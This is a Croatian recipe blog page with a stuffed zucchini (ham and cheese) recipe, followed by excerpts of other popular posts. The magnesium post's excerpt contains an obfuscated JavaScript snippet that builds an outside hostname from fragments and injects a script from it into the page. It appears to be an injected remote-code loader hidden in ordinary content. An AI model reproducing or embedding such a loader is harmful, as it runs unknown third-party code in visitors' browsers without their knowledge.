TIKVICE PUNJENE ŠUNKOM I SIROM




Tikvice punjene šunkom i sirom 



Ljeto je pravo vrijeme za recepte koji ne traže puno vremena ni kompliciranu pripremu. Tikvice su u ovo doba godine među najzastupljenijim namirnicama na tržnicama, a upravo zbog svog blagog okusa odlično se slažu s različitim nadjevima. Ako tražite ideju za lagani ručak koji neće opteretiti organizam tijekom toplih dana, punjene tikvice sa sirom i šunkom odličan su izbor. Priprema je jednostavna, sastojci su lako dostupni, a najveći dio posla odradit će pećnica.




Tikvice punjene šunkom i sirom 


Sastojci:

  • 2 veće tikvice
  • 200 g kuhane šunke
  • 200 g naribanog sira (gauda, mozzarella ili kombinacija)
  • 150 g krem sira
  • 2 žlice kiselog vrhnja
  • 2 mlada luka ili pola manjeg crvenog luka
  • 1 češanj češnjaka
  • 2 žlice krušnih mrvica
  • 2 žlice maslinovog ulja
  • sol i svježe mljeveni papar
  • svježi peršin ili vlasac za posluživanje



Priprema:

Pećnicu zagrijte na 200 °C.
Tikvice operite, prerežite po dužini i žlicom pažljivo izdubite sredinu tako da dobijete male "čamce". Meso tikvica nemojte baciti, sitno ga nasjeckajte.
 
Na malo maslinovog ulja kratko pirjajte sitno nasjeckani luk i češnjak. Dodajte usitnjeno meso tikvica i pirjajte još nekoliko minuta dok višak tekućine ne ispari.
 
Maknite s vatre pa umiješajte narezanu šunku, krem sir, kiselo vrhnje, polovicu naribanog sira i krušne mrvice. Posolite i popaprite prema ukusu.
 
Dobivenim nadjevom napunite tikvice i složite ih u lagano nauljenu posudu za pečenje.
Po vrhu rasporedite ostatak naribanog sira.
 
Pecite 25 do 30 minuta, odnosno dok tikvice ne omekšaju, a sir ne dobije lijepu zlatnu koricu.
 
Prije posluživanja pospite nasjeckanim peršinom ili vlascem.


 
Za još bolji okus
Želite li bogatiji nadjev, u smjesu možete dodati nekoliko žlica naribanog parmezana ili malo dimljene paprike. Ako više volite vegetarijansku verziju, šunku jednostavno izostavite i dodajte sitno sjeckane gljive ili kukuruz šećerac.
 
Punjene tikvice najbolje je poslužiti uz zelenu salatu, rajčicu ili krišku svježeg kruha, a jednako su ukusne i sljedeći dan kada ih samo kratko podgrijete.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više